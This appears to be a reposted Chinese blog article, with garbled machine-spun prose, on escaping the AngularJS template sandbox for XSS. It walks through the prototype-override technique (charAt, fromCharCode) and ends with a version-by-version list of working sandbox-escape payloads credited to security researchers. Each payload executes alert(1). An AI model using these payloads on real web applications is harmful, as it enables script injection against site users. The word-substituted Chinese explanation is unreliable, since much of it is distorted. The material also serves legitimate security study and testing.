它可以获取用户的联系人列表

作者:betway计算机知识

概述

XSS攻击是Web攻击中最普及的抨击方法之一,它是透过对网页注入可实行代码且成功地被浏览器试行,到达攻击的指标,酿成了二次有效XSS攻击,一旦攻击成功,它可以得到用户的联系人列表,然后向联系人发送虚假诈骗消息,能够去除用户的日志等等,一时候还和别的攻击格局同一时候实践比如SQL注入攻击服务器和数据库、Click威迫、相对链接勒迫等实践钓鱼,它带来的妨害是高大的,是web安全的头等仇人。

前情提要

angularJs通过“{{}}”来作为出口的申明,而对此双括号内部的内容angularJs会计总括并出口结果,我们能够在其间输入JS代码,并且有的语句还能博得实施,那使得我们的XSS有了恐怕,即使不能够平素写函数表明式,但那并难不住大家的白帽。

沙箱核准

angularJs会对表明式进行重写,并过滤总计输出,例如大家输入

{{1   1}} 

在JS中会被转变到

"use strict";
var fn = function(s, l, a, i) {
 return plus(1, 1);
};
return fn;

return fn;这里的回到会被angualrJs试行,angularJs改写那些法子后转移是这么的

"use strict";
var fn = function(s, l, a, i) {
 var v0, v1, v2, v3, v4 = l && ('constructor' in l),
 v5;
 if (!(v4)) {
 if (s) {
 v3 = s.constructor;
 }
 } else {
 v3 = l.constructor;
 }
 ensureSafeObject(v3, text);
 if (v3 != null) {
 v2 = ensureSafeObject(v3.constructor, text);
 } else {
 v2 = undefined;
 }
 if (v2 != null) {
 ensureSafeFunction(v2, text);
 v5 = 'alertu00281u0029';
 ensureSafeObject(v3, text);
 v1 = ensureSafeObject(v3.constructor(ensureSafeObject('alertu00281u0029', text)), text);
 } else {
 v1 = undefined;
 }
 if (v1 != null) {
 ensureSafeFunction(v1, text);
 v0 = ensureSafeObject(v1(), text);
 } else {
 v0 = undefined;
 }
 return v0;
};
return fn;

angularJs会检查每三个输入的参数,ensureSafeObject方法会核查出函数的构造方法,窗口对象,对象,或然目的的构造方法,大肆的在那之中一项被检查出来,表明式都不会实践.angularJs还应该有ensureSafeMemeberName和ensureSafeFunction来过滤掉方法原型链方法和反省这些针对。

何以逃逸

如何能逃过模板的过滤呢,能够让大家输入的模板被角实践,因为angularJs不扶助函数输入,大家无法一向覆盖本地的JS函数。但在字符串对象中找到了马脚,fromCharCode,则charCode, charAt,由于尚未重写这个措施,通过转移本地的js函数,我能够在angularJs调用那个格局的时候为友好开二个后门,将本身改写的来遮蔽原本的函数。

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='u003ciframe onload=alert(/Backdoored/)u003e';

formCharCode方法实践的时候内部的this指向的是String对象,通过地方的可指执行语句,大家得以对fromCharCode 函数进行覆盖,当在本页面内施行时,比如:

onload=function(){
document.write(String.fromCharCode(97));//会弹出 /Backdoored/ 
} 

还足以那样

'a'.constructor.prototype.charCodeAt=[].concat

当angularJs调用charCodeAt函数时,笔者的代码就被实行到angular源码去了,举个例子说在这段中间有encodeEntities 方法用来对质量和名称做四个过滤然后输出,

if (validAttrs[lkey] === true && (uriAttrs[lkey] !== true || uriValidator(value, isImage))) {
out(' ');
out(key);
out('="');
out(encodeEntities(value));//找的就是encodeEntities   
out('"');
}

现实的encodeEntities代码如下:

function encodeEntities(value) {
return value.
 replace(/&/g, '&').
 replace(SURROGATE_PAIR_REGEXP, function(value) {
 var hi = value.charCodeAt(0);
 var low = value.charCodeAt(1);
 return ''   (((hi - 0xD800) * 0x400)   (low - 0xDC00)   0x10000)   ';';
 }).
 replace(NON_ALPHANUMERIC_REGEXP, function(value) {
 return ''   value.charCodeAt(0)   ';';//这里发生了不好事情,我改写了这个方法,可以植入一些恶意代码,并且得到返回输出  }).
replace(/</g, '<').
replace(/>/g, '>');
} 

具体推行

//这是输入代码 
{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=""') ''
}}

//这是被覆盖影响的代码  
"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('xu003du0022u0022' in l);//被影响的
 if (!(v6)) {
  if (s) {
   v5 = s.x = "";//被影响的
  }
 } else {
  v5 = l.x = "";//被影响的
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('xu003du0022u0022' in l);//被影响的
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = "";//被影响的
  }
 } else {
  v2 = l.x = "";//被影响的
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = "", text);//被影响的
  v0 = v3.x = "" = v1;//被影响的
 }
 return v0;
};
return fn;


{{
 'a'.constructor.prototype.charAt=[].join;
 $eval('x=alert(1)') '' //注入了alert(1) 
}}

"use strict";
var fn = function(s, l, a, i) {
 var v5, v6 = l && ('xu003dalertu00281u0029' in l);
 if (!(v6)) {
  if (s) {
   v5 = s.x = alert(1);
  }
 } else {
  v5 = l.x = alert(1);
 }
 return v5;
};
fn.assign = function(s, v, l) {
 var v0, v1, v2, v3, v4 = l && ('xu003dalertu00281u0029' in l);
 v3 = v4 ? l : s;
 if (!(v4)) {
  if (s) {
   v2 = s.x = alert(1);
  }
 } else {
  v2 = l.x = alert(1);
 }
 if (v3 != null) {
  v1 = v;
  ensureSafeObject(v3.x = alert(1), text);
  v0 = v3.x = alert(1) = v1;
 }
 return v0;
};
return fn;

上面附上一些代码,能够直接结合angularJs验证

差异版本的实现代码以及开掘者:

1.0.1 - 1.1.5    Mario Heiderich (Cure53)

{{constructor.constructor('alert(1)')()}} 

1.2.0 - 1.2.1     Jan Horn (Google)

{{a='constructor';b={};a.sub.call.call(b[a].getOwnPropertyDescriptor(b[a].getPrototypeOf(a.sub),a).value,0,'alert(1)')()}}

1.2.2 - 1.2.5    Gareth Heyes (PortSwigger)

{{'a'[{toString:[].join,length:1,0:'__proto__'}].charAt=''.valueOf;$eval("x='" (y='if(!window\u002ex)alert(window\u002ex=1)') eval(y) "'");}}

1.2.6 - 1.2.18    Jan Horn (Google)

{{(_=''.sub).call.call({}[$='constructor'].getOwnPropertyDescriptor(_.__proto__,$).value,0,'alert(1)')()}}

1.2.19 - 1.2.23    Mathias Karlsson

{{toString.constructor.prototype.toString=toString.constructor.prototype.call;["a","alert(1)"].sort(toString.constructor);}}

1.2.24 - 1.2.29 Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=''.valueOf;$eval("x='" (y='if(!window\u002ex)alert(window\u002ex=1)') eval(y) "'");}} 

1.3.0    Gábor Molnár (Google)

{{!ready && (ready = true) && (
!call
? $$watchers[0].get(toString.constructor.prototype)
: (a = apply) &&
(apply = constructor) &&
(valueOf = call) &&
('' ''.toString(
'F = Function.prototype;'  
'F.apply = F.a;'  
'delete F.a;'  
'delete F.valueOf;'  
'alert(1);'
))
);}} 

1.3.1 - 1.3.2    Gareth Heyes (PortSwigger)

{{
{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
'a'.constructor.prototype.charAt=''.valueOf; 
$eval('x=alert(1)//'); 
}}

1.3.3 - 1.3.18    Gareth Heyes (PortSwigger)

{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;

'a'.constructor.prototype.charAt=[].join;
$eval('x=alert(1)//'); }}

1.3.19   Gareth Heyes (PortSwigger)

{{
'a'[{toString:false,valueOf:[].join,length:1,0:'__proto__'}].charAt=[].join; 
$eval('x=alert(1)//'); 
}}

1.3.20    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=alert(1)');}}

1.4.0 - 1.4.9    Gareth Heyes (PortSwigger)

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

1.5.0 - 1.5.8  Ian Hickey

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=alert(1)');}}

1.5.9 - 1.5.11   Jan Horn (Google)

{{
 c=''.sub.call;b=''.sub.bind;a=''.sub.apply;
 c.$apply=$apply;c.$eval=b;op=$root.$$phase;
 $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;
 C=c.$apply(c);$root.$$phase=op;$root.$digest=od;
 B=C(b,c,b);$evalAsync("
 astNode=pop();astNode.type='UnaryExpression';
 astNode.operator='(window.X?void0:(window.X=true,alert(1))) ';
 astNode.argument={type:'Identifier',name:'foo'};
 ");
 m1=B($$asyncQueue.pop().expression,null,$root);
 m2=B(C,null,m1);[].push.apply=m2;a=''.sub;
 $eval('a(b.c)');[].push.apply=a;
}}

= 1.6.0 Mario Heiderich(Cure53)

{{constructor.constructor('alert(1)')()}} 

转自:

总结

如上便是那篇文章的全体内容了,希望本文的开始和结果对大家的求学或然职业有所自然的参照学习价值,固然有疑问我们能够留言调换,多谢我们对剧本之家的支撑。

您大概感兴趣的作品:

  • AngularJS达成基于变量改变改态加载模板的不二秘技
  • 行使AngularJS中的SCE来幸免XSS攻击的法子

本文由betway-必威手机用户端-必威注册发布,转载请注明来源

关键词: betway必威app